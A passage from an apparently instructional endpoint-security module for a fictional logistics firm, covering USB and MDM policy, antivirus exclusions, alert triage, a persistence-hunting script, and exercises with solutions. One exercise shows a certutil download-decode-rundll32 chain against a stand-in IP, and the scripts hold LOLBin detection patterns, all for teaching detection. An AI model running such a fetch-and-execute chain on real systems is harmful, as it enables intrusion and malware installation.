.exeis not enough if PowerShell can run anything. AppLocker must also cover scripts, MSI installers and DLLs, and PowerShell must run in constrained language mode, which AppLocker enables automatically when there are script rules. - Always in audit first. A badly tested allow-listing policy leaves 140 people unable to work, and that is the kind of mistake a security department does not recover from in two years.
- Removable device control
Rutalia has a real physical vector: drivers and warehouse staff who plug in USB sticks of uncertain origin, including the ones that turn up at service areas and industrial estate car parks.
Three levels of policy, from least to most restrictive:
| Level | Policy | Suitable for |
|---|---|---|
| 1 | Allow reading, deny execution (ASR rule + AppLocker) | A universal starting point |
| 2 | Allow only devices encrypted with BitLocker To Go | Office, administration |
| 3 | Allow only devices on an allow-list by hardware identifier | Servers, senior management |
Configuration by GPO:
Computer Configuration -> Administrative Templates -> System -> Removable Storage Access "Removable Disks: Deny execute access" -> Enabled <- level 1 "Removable Disks: Deny write access" -> Enabled <- stops exfiltration by USB Windows Components -> BitLocker Drive Encryption -> Removable Data Drives "Deny write access to removable drives not protected by BitLocker" -> Enabled <- level 2
And a reminder that surprises a lot of people: disabling autorun is not enough. There are devices that present themselves to the system as a keyboard (HID) and "type" commands at full speed as soon as they are connected. Against that, the control is level 3 or, more realistically, blocking execution and having an EDR that sees the typed command.
The second policy — denying writes — also has a different function that is very relevant to hypothesis H3: an insider who wants to walk out with the portfolio of 400 customers on a USB stick cannot. It is a data leakage control, not just a malware one.
- The fleet: MDM, Android tablets and the Bujaraloz case
Sixty trucks, sixty Android tablets, and to this day no management at all. Every driver has their tablet, some with a PIN and some without, with the delivery note application that reaches MiRutalia and the data of the customers on their route.
MDM (mobile device management) is the equivalent of GPOs for mobiles. What Rutalia needs to configure, in order of priority:
| # | Policy | Why |
|---|---|---|
| 1 | PIN or biometrics mandatory, minimum 6 digits | Without this, nothing else matters |
| 2 | Device encryption mandatory | Android has had it out of the box for years, but it has to be verified |
| 3 | Automatic lock after 2 minutes | A tablet in the cab, unlocked, is a driver's session |
| 4 | Remote wipe and remote lock | The case in this section |
| 5 | Kiosk mode or dedicated device: approved apps only | Removes third-party app installation |
| 6 | Blocking installation from unknown sources | The main vector on Android |
| 7 | Automatic system and app updates | Fleet patching |
| 8 | Inventory and compliance status | Knowing how many are out of date |
| 9 | Root detection and blocking access if the device is compromised | A rooted device voids every guarantee |
| 10 | Access to MiRutalia only from managed and compliant devices | Conditional access; see 04-04 |
Point 5 deserves a comment. The fleet tablets are corporate, dedicated-use devices: they are nobody's personal mobile. In that scenario, the right configuration is a fully managed device in dedicated mode, where the tablet only runs the delivery note application, navigation and little else. That removes at a stroke the risk of a driver installing a torch app with excessive permissions.
For corporate office mobiles, where there genuinely is mixed use, the configuration is different: a work profile, which creates a separate container on the device. Corporate applications and data live inside it; personal ones stay outside. The company can wipe the container without touching the employee's photos, and it cannot see what is outside it. It is the technically correct solution and the only legally defensible one.
The Bujaraloz case
Tuesday 3 March 2027, 18:40. Driver Óscar Peña calls the traffic manager: he left the tablet on the cafeteria table at the Bujaraloz service area, on the A-2, and when he went back twenty minutes later it was gone.
What that tablet contains: the delivery note application with an active session, the data of the 14 customers on that week's route (contact names, phone numbers, delivery addresses), photos of signed delivery notes from the last 30 days and the corporate email application.
Without MDM, the possible response is: change Óscar's password and hope. There is no way to know whether the tablet had a PIN, or whether it was encrypted, or to wipe it, or to know whether anybody switches it on. And a notifiable personal data breach has to be assessed without knowing whether the data was accessible.
With MDM, the response is a fifteen-minute procedure:
| Minute | Action | Tool |
|---|---|---|
| 0 | Óscar calls the internal 900 incident line (the number is on the dashboard sticker) | Telephone |
| 2 | Remote lock of the device with an on-screen message and a contact number | MDM console |
| 3 | Look up the last known location and the last connection | MDM console |
| 5 | Revoke Óscar's sessions in MiRutalia and in Microsoft 365 | Identity portal |
| 10 | Decision: if it does not turn up within 24 h, remote wipe | Laura + traffic manager |
| 15 | Log the incident with an inventory of the data affected | Incident log |
| +24 h | Remote wipe executed and confirmed; GDPR breach assessment | 06-03 |
And the legal difference, which is what convinces senior management: if the device was encrypted and had a PIN, and has been locked and wiped remotely, it is very likely that there is no risk to the rights of the data subjects and the incident is documented internally with no communication to those affected. If it was not, notification to the Spanish Data Protection Agency (AEPD) within 72 hours has to be assessed. The same loss, two completely different consequences, and the difference is three MDM policies costing around €4 per device per month.
Rutalia also adds a common-sense, zero-cost measure: the delivery note application's session expires after 12 hours and requires reauthentication. A tablet stolen on Tuesday afternoon is useless on Wednesday.
- BYOD: where the technical limit and the legal limit lie
BYOD (Bring Your Own Device) is the use of personal devices for work. At Rutalia it happens de facto: at least twenty people read corporate email on their personal mobile.
What you can do technically and what you should do do not coincide:
| Measure | Technically possible? | Acceptable on a personal device? |
|---|---|---|
| Require a PIN on the whole device | Yes | Debatable; better to require it only on the container |
| Encrypt the whole device | Yes | Debatable |
| Work profile with a separate container | Yes | Yes: it is the correct solution |
| Wipe only the corporate container | Yes | Yes |
| Wipe the whole device | Yes | No, except with express, informed consent |
| See the list of installed personal applications | Yes | No |
| See the device's location | Yes | No on a personal device |
| Inspect the device's traffic | Yes | No |
The rule that sums it all up: in BYOD you manage the application and the data, not the device. The correct approach is called mobile application management (MAM) and it consists of controlling the corporate container — requiring a PIN to open it, preventing copy and paste out of it, preventing backups of that data, being able to wipe it — without touching anything personal.
And the part that is not technical and that decides whether the whole thing is viable: BYOD requires a written policy, signed by the employee, that explains exactly what the company can and cannot do, notified in line with employment and data protection law, and consulted with the workers' representatives where they exist. Without that document, remotely wiping a personal device is a serious legal problem, however technically justified it was. The details are in 06-03 and 06-02.
Rutalia's decision, sensible for its size: a corporate mobile for the 25 people who genuinely need one; for everybody else, email access through the browser only, with conditional access that prevents attachments being downloaded to an unmanaged device.
- Centralised antivirus management at Rutalia
The current state — three different free products, no console — fails not because the products are bad, but because nobody can answer basic questions:
- How many machines have an up-to-date engine today?
- On how many is the antivirus disabled?
- Has anybody added an exclusion on
C:\? - How many detections have there been this month, and of what kind?
- If a new indicator appears, can I search for it across the 140 machines in five minutes?
The replacement plan, in five phases over eight weeks:
| Phase | Weeks | What is done |
|---|---|---|
| 1. Inventory and clean-up | 1 | Determine which product each machine has; identify those with none |
| 2. Pilot | 2-3 | 10 representative machines (office, warehouse, development, management) in audit mode |
| 3. Tuning | 4 | Resolve false positives, define exclusions and the quarantine policy |
| 4. Roll-out | 5-7 | Batches of 40 machines, uninstalling the previous product before installing the new one |
| 5. Servers and fleet | 8 | Linux and Windows servers, and tablets via MDM |
Two technical precautions:
- Never two real-time protection engines at once. They block each other, consume twice the resources and produce erratic behaviour that gets diagnosed as "the machine is slow". Uninstall first, install afterwards, with a reboot in between.
- Servers get their own configuration. Real-time scanning of PostgreSQL's data files degrades performance and can cause corruption; that is what the documented exclusions of the next section are for.
What the single console must deliver from day one:
Rutalia dashboard - Endpoint security Updated: 2027-03-09 08:00
Managed machines .................... 152 / 152 (140 workstations + 12 servers)
With active protection .............. 152 100 %
Engine updated (< 24 h) ............. 149 98 % <- 3 machines powered off
ASR rules in block mode ............. 147 97 % <- 5 in audit (workshop)
Detections in the last 30 days ...... 14
- Blocked automatically ......... 13
- Required intervention ......... 1
Active exclusions ................... 9 all documented and reviewed
Machines not reporting > 7 days ..... 2 <- INVESTIGATEThe last two lines are the ones most often forgotten and the most important. A machine that has not talked to the console for seven days is not protected, whether it is switched off or compromised, and in both cases you have to find out which.
- Exclusions: the back door you open yourself
An exclusion tells the antivirus "do not look here". It is sometimes necessary and always dangerous, because attackers actively look for the configured exclusions and place their payload exactly there. Exclusions can be read with local administrator rights, and it is one of the first things an attacker who gets them does.
| Exclusion | Acceptable? | Alternative |
|---|---|---|
C:\ |
Never | — |
*.exe |
Never | — |
C:\Users\ |
Never | — |
The PostgreSQL data folder on srv-db01 |
Yes, recommended by the vendor | Document it and scope it as tightly as possible |
| The whole folder of the route planning application | Questionable | Exclude only the specific data files, not the executables |
| An in-house executable that triggers a false positive | Only temporarily | Sign it with the internal PKI and exclude by certificate |
| Marta's working folder (development) | Questionable | Exclude the specific build folder, never the whole profile |
The four rules of a well-made exclusion:
- As specific as possible: a file with its hash, not a folder; a specific folder, not a drive.
- Documented: who asked for it, why, what risk it introduces and who approved it.
- With an expiry and review date: quarterly at the very least.
- Watched: if you exclude a folder from scanning, increase the monitoring of it by other means (file auditing, EDR telemetry, which keeps recording even when scanning is excluded).
And a check that belongs in the periodic audit:
# Exclusions configured in Microsoft Defender on this machine
Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
Get-MpPreference | Select-Object -ExpandProperty ExclusionExtension
# Is real-time protection active? And tamper protection?
Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled, IsTamperProtected,
AntivirusSignatureLastUpdated, AMServiceEnabledIf IsTamperProtected is False, an attacker with privileges can disable protection with a single command. It must be enabled and managed from the console, not locally.
- When an alert fires: triage in five minutes
Triage is the quick decision about whether an alert deserves to become an incident. It is not the full investigation — that is 05-02 — it is the filter of the first five minutes.
The six questions, in order:
flowchart TD
A["Alert"] --> Q1{"Was it blocked<br/>or did it run?"}
Q1 -->|"Blocked"| Q2{"Is it a repeated<br/>pattern?"}
Q1 -->|"It ran"| E["ESCALATE<br/>isolate and open an incident"]
Q2 -->|"No"| R["Log it and close"]
Q2 -->|"Yes, several machines"| E
E --> Q3{"Is there an associated<br/>outbound connection?"}
Q3 -->|"Yes"| C["CRITICAL<br/>possible command and control"]
Q3 -->|"No"| M["HIGH"]
The triage table Rutalia pins up next to the telephone:
| Question | Where you look | What each answer means |
|---|---|---|
| 1. Was it blocked or did it run? | The detection status | Blocked = contained. It ran = an incident |
| 2. What was the parent process? | The process tree | Office or the browser → an active infection chain |
| 3. Was there a network connection? | The EDR's network telemetry | Yes → assume command and control until proven otherwise |
| 4. Was persistence created? | Tasks, Run keys, services | Yes → deleting the file is not enough |
| 5. How many machines are affected? | Searching for the indicator in the console | More than one → active propagation |
| 6. Which user and which data does it reach? | RBAC, the role×asset matrix of 02-02 | Determines the potential impact |
And the three immediate actions when an answer is bad:
- Isolate the machine (section 14).
- Do not switch it off and do not reinstall: you destroy the evidence in memory that the analysis in 05-02 will need.
- Raise the alarm through the established channel (
[email protected]and a phone call), and record the time of every action from the first minute.
- Basic analysis of a suspicious file, with a warning
A user sends a suspicious attachment to [email protected]. What can you do without being a malware analyst?
Step 1: calculate the hash. You never open the file.
Step 2: look up the reputation of the hash, not of the file. This distinction is the whole lesson of this section.
Confidentiality warning - read it before uploading anything
Uploading a file to a public analysis service is equivalent to publishing it. Free multi-engine services share samples with their partners, and many of them remain accessible to anybody who pays for a subscription. If that
.xlsmis a real invoice from a Rutalia customer, you have just caused a personal data breach yourself, with all the legal weight that carries, in order to investigate a file that was probably benign.Rutalia's rule: you always look up the hash, you never upload the file. Uploading a file requires express authorisation from Laura Méndez and certainty that it contains no customer, employee or commercial information. When in doubt, it is not uploaded: it is sent to the MDR provider through the contracted channel, which has a confidentiality agreement, or analysed in our own isolated lab.
Looking up the hash is safe because a hash reveals nothing about the content: it is an irreversible fingerprint, as explained in 02-05. If the hash is already known, you get the verdict without exposing anything. If it is not — which is usual with targeted and polymorphic malware — the result will be "unknown", and that absence of a result does not mean it is benign.
Step 3: static inspection, without running it. On an isolated virtual machine, with no network and a snapshot taken beforehand:
# What kind of file is it really? (the extension lies)
file factura_urgente.xlsm
# An .xlsm is a ZIP: you can list its contents without opening it in Excel
unzip -l factura_urgente.xlsm
# Does it contain a VBA project? Its mere presence is already a signal
unzip -l factura_urgente.xlsm | grep -i vbaProject
# Readable strings: URLs, domain names, commands
strings -n 8 factura_urgente.xlsm | grep -iE 'http|powershell|cmd|\.exe|base64'filereads the first bytes (the magic number) and says what it really is. A.pdfthat turns out to be an executable is an immediate answer.- Modern Office formats are ZIP containers:
unzip -llists their innards without Excel touching anything. - The presence of
xl/vbaProject.binin a file that claims to be an invoice is already reason enough to treat it as malicious. stringsextracts the readable sequences. Obfuscation reduces its usefulness, but it still finds URLs and commands in a high percentage of samples.
Step 4: search for the indicator across the estate. This is the question that really matters and that only a central console can answer:
If the answer is yes, there is an incident. If it is no, there is a blocked email and an entry on the block list of the email filter and the DNS.
Step 5: block and communicate. Add the sender, the domain and the hash to the block lists, and — if the lure was convincing — send a short notice to the whole workforce. Rutalia does it with a three-line template, blaming nobody and always thanking people for the report: the person who reports a suspicious email is the cheapest detection control the company has, and punishing them is the fastest way to lose it (08-03).
And the persistence hunting script Diego runs on a suspicious machine, annotated:
<#
revisar_persistencias.ps1 - Rutalia, quick review of an endpoint
Read-only. Requires local administrator on the target machine.
It does not replace an EDR: it is the stopgap until there is one.
#>
Write-Host "`n=== Machine: $env:COMPUTERNAME - $(Get-Date -f 'yyyy-MM-dd HH:mm') ===`n"
# --- 1. Scheduled tasks created or modified in the last 30 days ---------------
Write-Host "--- Recent scheduled tasks ---"
Get-ScheduledTask | ForEach-Object {
$info = $_ | Get-ScheduledTaskInfo -ErrorAction SilentlyContinue
$acc = ($_.Actions | ForEach-Object { "$($_.Execute) $($_.Arguments)" }) -join ' ; '
[PSCustomObject]@{
Name = $_.TaskName
Path = $_.TaskPath
State = $_.State
Author = $_.Author
Action = $acc
LastRun = $info.LastRunTime
}
} | Where-Object {
# We keep whatever smells of script execution or a loose binary
$_.Action -match 'powershell|cmd\.exe|wscript|cscript|mshta|rundll32|certutil|\\Users\\|\\Temp\\|\\Public\\'
} | Format-Table -AutoSize -Wrap
# --- 2. Registry autostart keys ----------------------------------------------
Write-Host "`n--- Run keys ---"
$paths = @(
'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce',
'HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run',
'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce'
)
foreach ($r in $paths) {
if (Test-Path $r) {
Get-ItemProperty $r | Select-Object * -Exclude PS* |
Format-List | Out-String | Where-Object { $_.Trim() } |
ForEach-Object { Write-Host "[$r]`n$_" }
}
}
# --- 3. Startup folders -------------------------------------------------------
Write-Host "`n--- Startup folders ---"
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup",
"$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" `
-ErrorAction SilentlyContinue |
Select-Object FullName, LastWriteTime | Format-Table -AutoSize
# --- 4. Services whose binary is NOT in System32 ------------------------------
Write-Host "`n--- Services with a binary outside System32 ---"
Get-CimInstance Win32_Service |
Where-Object { $_.PathName -and $_.PathName -notmatch 'C:\\Windows\\System32' } |
Select-Object Name, StartMode, State, PathName | Format-Table -AutoSize -Wrap
# --- 5. Executables in user-writable paths ------------------------------------
Write-Host "`n--- Executables in user paths (last 30 days) ---"
$limit = (Get-Date).AddDays(-30)
Get-ChildItem "$env:PUBLIC", "$env:APPDATA", "$env:LOCALAPPDATA", "$env:TEMP" `
-Include *.exe,*.dll,*.ps1,*.vbs,*.js,*.bat,*.dat -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.LastWriteTime -gt $limit } |
Select-Object FullName, LastWriteTime, Length |
Sort-Object LastWriteTime -Descending | Select-Object -First 25 | Format-Table -AutoSize
# --- 6. WMI subscriptions (advanced persistence) ------------------------------
Write-Host "`n--- WMI subscriptions ---"
Get-CimInstance -Namespace root\subscription -ClassName __EventFilter -ErrorAction SilentlyContinue |
Select-Object Name, Query | Format-Table -AutoSize -Wrap
Write-Host "`n=== End. Review everything listed by hand: presence does not imply malice. ===`n"Notes on reading the script:
- It is read-only, just like the one in 04-01: it reports, it does not delete. Deleting blindly destroys evidence and rarely removes the full infection.
- Section 1 filters by interpreter keywords and writable paths, which is where malicious tasks concentrate. A legitimate Microsoft task almost never runs
powershellfromC:\Users\Public. - Section 4 looks for services whose binary sits outside
System32. There are many legitimate ones (any installed software), so the output has to be read with judgement; but a service pointing at%TEMP%is conclusive. - Section 6 covers WMI subscriptions, which is the persistence almost nobody looks at and which survives a reinstall of the antivirus software.
- The last line is the most important: appearing in the listing does not imply malice. This script generates candidates, not verdicts.
- Rutalia's endpoint roadmap
| Phase | Timescale | Actions | Cost |
|---|---|---|---|
| 0. Immediate | Week 1 | Block macros from the internet (already done in 04-01); disable WSH; block .iso/.img/.hta/.lnk in email |
€0 |
| 1. ASR in audit | Weeks 2-3 | Deploy the 8 ASR rules in audit mode and review | €0 |
| 2. A single console | Weeks 4-11 | Replace the three free antivirus products with NGAV/EDR with a console; ASR to block | ~€16,000/year with MDR |
| 3. Device control | Weeks 8-9 | USB with no execution and no writing; BitLocker To Go where needed | €0 |
| 4. Fleet MDM | Weeks 10-14 | 60 tablets in dedicated mode + 25 corporate mobiles with a work profile | ~€3,400/year |
| 5. Allow-listing | Months 4-6 | AppLocker in audit → block, starting with administration | €0 |
| 6. Servers | Months 5-6 | EDR on the 12 servers, WDAC on the critical ones | Included |
The order is no accident: first what is free and cuts the real vector, then what costs money. If the budget slips by three months, phases 0, 1 and 3 will already have removed most of the risk in the canonical scenario.
Common Mistakes and Tips
Mistake 1: believing that a full disk scan proves a machine is clean. Fileless malware lives in memory, in the registry and in WMI. A full scan came back clean on day 18 of the canonical scenario. Tip: the absence of detection is not proof of the absence of compromise; look for persistence, outbound connections and anomalous executions.
Mistake 2: buying an EDR and assigning nobody to watch it. It is the most expensive mistake in the sector. An EDR generates alerts that need daily triage. Tip: if there is no 24/7 capacity — and in an SME there never is — buy MDR or explicitly accept that you will only have detection during office hours, and document that decision.
Mistake 3: deleting the file and calling the case closed. If there was persistence, lateral movement or credential theft, deleting the executable only removes the symptom. Tip: apply the six triage questions before closing anything. Especially 4 and 5.
Mistake 4: excluding folders from scanning so that they "stop causing problems". Attackers look for the exclusions and place their payload right there. Tip: minimum exclusion, documented, with an expiry date and compensating monitoring.
Mistake 5: deploying ASR rules or allow-listing straight into block mode. Leaving 140 people unable to work destroys the security team's credibility for years. Tip: audit for two weeks, review what would have been blocked, and only then block, in batches.
Mistake 6: uploading a file containing customer data to a public service. You investigate a possible incident by causing a certain one. Tip: look up the hash, never upload the file; if real analysis is needed, use the provider's channel, which is covered by a confidentiality agreement.
Mistake 7: treating BYOD as if it were a corporate device. Wiping an employee's personal mobile with no signed policy is a legal problem, not a technical one. Tip: manage the application and the data through a container, not the device.
Tip 8: the parent-child relationship is your best detection rule. WINWORD.EXE → powershell.exe, EXCEL.EXE → cmd.exe, OUTLOOK.EXE → wscript.exe: almost zero false positives, enormous value. If you can only write three rules, make them these.
Tip 9: measure the time to detection, not the number of threats blocked. "We have blocked 14,000 threats" is marketing. "The average time from execution to alert is 4 minutes" is a security metric (08-04).
Tip 10: the person who raises the alarm is a sensor, treat them as one. Always thank them for the report, always reply — even if only to say it was benign — and never use a report to reproach anybody. The day they stop reporting, you will have lost the cheapest and fastest detection control you have.
Exercises
Exercise 1: reading a process tree
The EDR console shows this tree on jlopez's machine (customer service, 10.10.6.22) on a Thursday at 11:52:
explorer.exe (PID 2880) - RUTALIA\jlopez
+- chrome.exe (PID 6104) - signed by Google
+- [DOWNLOAD] C:\Users\jlopez\Downloads\Presupuesto_2027.pdf.lnk [MOTW: Internet]
+- explorer.exe -> cmd.exe (PID 6788)
| Command line:
| cmd.exe /c start /min certutil -urlcache -split -f
| http://192.0.2.66/p.txt %TEMP%\p.b64 & certutil -decode
| %TEMP%\p.b64 %TEMP%\svc.dll & rundll32 %TEMP%\svc.dll,Run
+- certutil.exe (PID 6820)
| +- [NETWORK] 192.0.2.66:80
+- [FILE] C:\Users\jlopez\AppData\Local\Temp\svc.dll (created)
+- rundll32.exe (PID 6902)
+- [NETWORK] 192.0.2.66:443 - every 60 s
+- [REGISTRY] HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"WinUpdateSvc" = rundll32 %TEMP%\svc.dll,Runa) Describe the whole chain in plain language, step by step.
b) Identify at least five MITRE ATT&CK techniques with their identifiers.
c) Which three controls from this lesson would have cut the chain, and at exactly which point would each one have done it?
d) Apply the six triage questions from section 23 and decide what to do in the next five minutes.
e) The persistence process is registered in HKCU, not in HKLM. What does that tell you about the attacker's privileges and what does it imply for the response?
Exercise 2: deciding the endpoint investment
At the committee meeting on 15 March 2027, Andrés Vidal asks you to justify the €16,000 a year for EDR with MDR. He puts three objections to you:
- "We already have antivirus on every machine and nothing has happened to us."
- "Can we not buy the paid antivirus without the managed service and save €10,000?"
- "Why do we not run it internally? Diego can look at the alerts."
a) Answer each objection with a concrete, verifiable technical argument, without resorting to fear. b) Propose a metric that makes it possible to evaluate, after a year, whether the investment was right. c) If senior management only approves €6,000, what do you buy and what do you leave out? Justify it.
Exercise 3: an incident in the fleet
Saturday 8 May 2027, 07:15. The MDM system generates three alerts about the tablet TAB-FLOTA-034, assigned to driver Rubén Salinas:
07:12 TAB-FLOTA-034 Compliance status: NON-COMPLIANT
Reason: device with root access detected
07:13 TAB-FLOTA-034 Installation from an unknown source: "GPS Pro Free v4.1"
07:14 TAB-FLOTA-034 Permissions granted: location, contacts, storage,
accessibilityThe driver is halfway through a route between Zaragoza and Sevilla with a refrigerated delivery.
a) Which of the three alerts is the most serious and why? b) What does the accessibility permission imply on Android and why is it especially dangerous in this application? c) Design the response bearing in mind that you cannot leave the driver without a working tool halfway through a route. Give actions, owners and timing. d) Which MDM policy would have prevented this situation? Why was it not active? e) Does a personal data breach have to be assessed? Reason about which data could have been affected.
Solutions
Solution 1
a) The chain, step by step:
jlopezbrowses with Chrome and downloads a file calledPresupuesto_2027.pdf.lnk. The double extension is the key: Windows hides the known extension by default, so the user seesPresupuesto_2027.pdfwith an icon that may have been forged to look like a PDF. In reality it is a shortcut whose target is a command.- On double-clicking, the shortcut runs
cmd.exe /cwith three commands chained by&. Thestart /minruns them minimised so the user does not see a black window. certutil -urlcache -split -fdownloadshttp://192.0.2.66/p.txtto%TEMP%\p.b64.certutil— a legitimate Microsoft binary — is used instead of a download tool, in order to evade file-based detection. The downloaded file is base64 text, which passes through filters that block executables.certutil -decodeturns that base64 intosvc.dll. The same legitimate binary does both jobs: downloading and decoding.rundll32 %TEMP%\svc.dll,Runruns the DLL'sRunfunction.rundll32is also signed by Microsoft.- The process establishes beaconing every 60 seconds to
192.0.2.66:443— the same attacker as in the canonical scenario — now over TLS so that the content cannot be inspected. - Persistence is created in the
HKCU\...\Runkey with the nameWinUpdateSvc, imitating a Windows Update component.
b) ATT&CK techniques (five are enough, here are eight):
| Technique | ID |
|---|---|
| User Execution: Malicious Link | T1204.001 |
| Masquerading: Double File Extension | T1036.007 |
| Command and Scripting Interpreter: Windows Command Shell | T1059.003 |
| Ingress Tool Transfer | T1105 |
| System Binary Proxy Execution: Rundll32 | T1218.011 |
| Deobfuscate/Decode Files or Information | T1140 |
| Boot or Logon Autostart Execution: Registry Run Keys | T1547.001 |
| Application Layer Protocol: Web Protocols (beaconing) | T1071.001 |
c) Three controls and their exact cut-off point:
- Blocking
.lnk(and.iso,.hta) as an attachment or download in the email and web filter: it cuts at step 1. The file never arrives. - An ASR rule blocking obfuscated scripts / the use of
certutil, or allow-listing (AppLocker) that prevents execution from%TEMP%: it cuts at step 4-5.svc.dllis downloaded but does not run. - Egress filtering by reputation/category in DNS or the proxy: it cuts at step 3. Downloading from a bare IP with no domain, over HTTP, to a destination with no reputation, is exactly the pattern these solutions block.
As a fourth control, the Suricata rule SID 1000002 of 03-03 would detect the beaconing at step 6, but that is late detection, not a cut.
d) Triage:
| Question | Answer | Assessment |
|---|---|---|
| 1. Did it run? | Yes, the chain completed | An incident, not an alert |
| 2. Parent process? | Chrome → download → explorer.exe (the user's double-click) |
An active infection chain |
| 3. Network connection? | Yes, beaconing every 60 s to 192.0.2.66 |
Command and control confirmed |
| 4. Persistence? | Yes, Run key WinUpdateSvc |
Deleting the DLL is not enough |
| 5. How many machines? | The hash and the IP must be searched across the whole console now | Determines the scope |
6. What does jlopez reach? |
Role atencion_cliente: MiRutalia with the data of the 400 customers, \\fs01\comun |
Hypotheses H3 and H4 in play |
Actions in the next five minutes:
- Isolate
10.10.6.22from the EDR console. Immediately, without consulting anybody. - Do not switch the machine off. Call
jlopezby phone and tell him not to touch it or reboot it. - Search the estate for the hash of
svc.dll, the IP192.0.2.66and the nameWinUpdateSvc. - Block
192.0.2.66onfw-zgz01in both directions and in DNS. - Open the incident formally and start the clock and the timeline (05-02).
- Revoke
jlopez's sessions and force a password change from another machine.
e) Persistence in HKCU instead of HKLM indicates that the attacker does not have administrative privileges on the machine: HKLM requires local administrator, HKCU does not. This is good news and a direct consequence of the work in 04-01: the removal of local administrator from users is working.
Implications for the response:
- The persistence affects only
jlopez's profile: it runs when he logs in, not when the machine boots. It is easier to remove and more visible. - The attacker has not been able to dump
lsass.exeor install a service or a driver, which greatly reduces the likelihood of domain credential theft. - Their logical next step will be to try to escalate privileges with some local vulnerability. Hence the machine's patch level is a priority check in the investigation.
- It does not reduce the severity of the data access:
jlopez's permissions already reach the customer portfolio. The impact on confidentiality is the same.
Solution 2
a) Answers to the three objections:
Objection 1 — "nothing has happened to us". It is an argument about what we know, not about what has happened. Today Rutalia has no way of knowing whether anything has happened to it: there is no central console, there is no record of executions before 4688 logging was deployed, and the only control is a signature antivirus that, by definition, only sees what it already knows. The objective, verifiable data point: in the scenario analysed at the committee, the attacker was inside for 25 days and the full scan of the machine, run on day 18, came back clean. There are also two measurable facts that do not depend on any hypothesis: the inventory on 5 October found 412 live hosts against 261 inventoried, and there are active former-employee accounts. Both indicate that current visibility is insufficient, whether or not there has been an incident.
Objection 2 — "the product without the service". You can, and it would be better than today. But an EDR is not a product that works on its own: it produces alerts that need a human decision within minutes. The concrete question is: at 03:40 on a Saturday, when a critical alert reports shadow copy deletion on a server, who sees it and who isolates the machine? If the answer is "nobody until Monday", the product will have detected the attack and prevented nothing. In the scenario analysed, the final phase — encryption and exfiltration — was executed at a weekend, which is almost always when it is executed. What the extra €10,000 buys is not software: it is response capability outside office hours, which Rutalia does not have and cannot have with 10 IT people.
Objection 3 — "let Diego handle it". Diego is the sysadmin for 152 systems, three sites and a network that has only just been segmented. Triaging EDR alerts demands continuous availability, not just capability. And there is an additional structural problem: whoever administers the systems should not be the only person watching their security, by the same segregation of duties principle we applied in 02-02. The sensible proposal is a mixed one: Diego and Laura manage the policy, the exclusions and the remediation; the MDR covers continuous monitoring and first-line triage. Nobody is being replaced: a time window that is currently empty is being covered.
b) Metrics for evaluating the investment after a year. The key is to choose metrics that do not reward noise:
| Metric | 12-month target |
|---|---|
| Mean time to detect (from execution to alert) | < 15 minutes |
| Mean time to contain (from alert to isolation) | < 30 minutes, 24/7 |
| Coverage: machines with an active, reporting agent | > 98% sustained |
| Incidents that reach the lateral movement stage | 0 |
| False positives that block legitimate work | < 1 a month after the third month |
| Scoping questions answered in < 1 h ("is this indicator in our estate?") | 100% |
The first and second are the ones that really matter: the value of an EDR is not blocking more, it is reducing the time an attacker spends inside. An attack detected in 15 minutes is not a serious incident; the same attack detected in 25 days is €180,000.
c) With €6,000, the purchase and the sacrifices:
What you buy: NGAV/EDR with a single console for the 152 systems (~€5,500) plus the fleet MDM if it can be negotiated in the same contract, or it is postponed.
What you give up: the 24/7 managed service. And that has to be documented as an accepted risk, with a signature: "Rutalia has detection, but response outside 08:00 to 18:00 Monday to Friday is not covered. The risk of an attack executed at a weekend is accepted until the 2028 budget review." Without that sentence signed, the decision is forgotten and on the day of the incident nobody remembers that it was taken consciously.
And you compensate for free, which is the important part of the answer:
- Configure automatic response for the very highest-confidence detections: automatic isolation on shadow copy deletion, credential dumping or known ransomware. The machine is the one that responds when nobody is there.
- Critical alerts to the mobiles of Laura and Diego, with an informal on-call procedure and an explicit agreement about what is expected of them.
- Complete all the free phases of the roadmap in section 25 (ASR, USB, WSH, allow-listing), which reduce the likelihood of ever needing the response.
- Re-evaluate MDR in the following budget, with the real alert data from the first year as the argument.
Solution 3
a) The most serious is the first: root access. The other two are its likely consequence. With root, Android's security model stops offering any guarantee: the private storage of any application can be read — including the session tokens of the delivery note app —, the traffic can be intercepted by installing certificates in the system store, the MDM agent itself can be disabled or deceived, and applications can be hidden. The isolation between applications, which is the foundation of Android's security, disappears. It is the exact equivalent of a Windows user being a local administrator, but worse, because it also voids the system's own protections.
The third alert is second in severity because of the combination of permissions, and the second alert is above all an indicator of how everything else got there.
b) The accessibility permission on Android is designed for applications that assist people with disabilities, and that is why it grants very wide capabilities: reading all the content displayed on screen in any application, detecting everything that is typed and simulating taps on the user's behalf.
Applied to TAB-FLOTA-034, that means a supposed GPS application can:
- Read the customer data displayed by the delivery note app: names, addresses, contact phone numbers.
- Capture the credentials Rubén types when logging into MiRutalia.
- Read the corporate email and the one-time codes arriving by SMS.
- Grant permissions to other applications automatically, tapping the dialogue buttons without the user seeing it.
It is by far the most abused permission by banking malware on Android, and a navigation application does not need it at all to work. The combination "unknown source + accessibility + contacts + storage" is a malware pattern, not a coincidence.
c) A response compatible with the continuity of the refrigerated delivery:
| Time | Action | Owner |
|---|---|---|
| 07:20 | Revoke Rubén's sessions in MiRutalia and in Microsoft 365, and block the device's access to corporate services through conditional access. The tablet is left with no access to data; the GPS and the phone keep working | Laura (on call) |
| 07:25 | Call Rubén on the vehicle's phone, not the tablet. Explain without alarm, ask him not to use it for any work and not to enter credentials | Traffic manager |
| 07:30 | Handle the delivery by an alternative route: a paper delivery note or telephone confirmation to the traffic manager, who records it in MiRutalia from the office | Traffic manager |
| 07:40 | Collect evidence from the MDM before any wipe: application inventory, time of installation, permissions, last connection, compliance history | Diego |
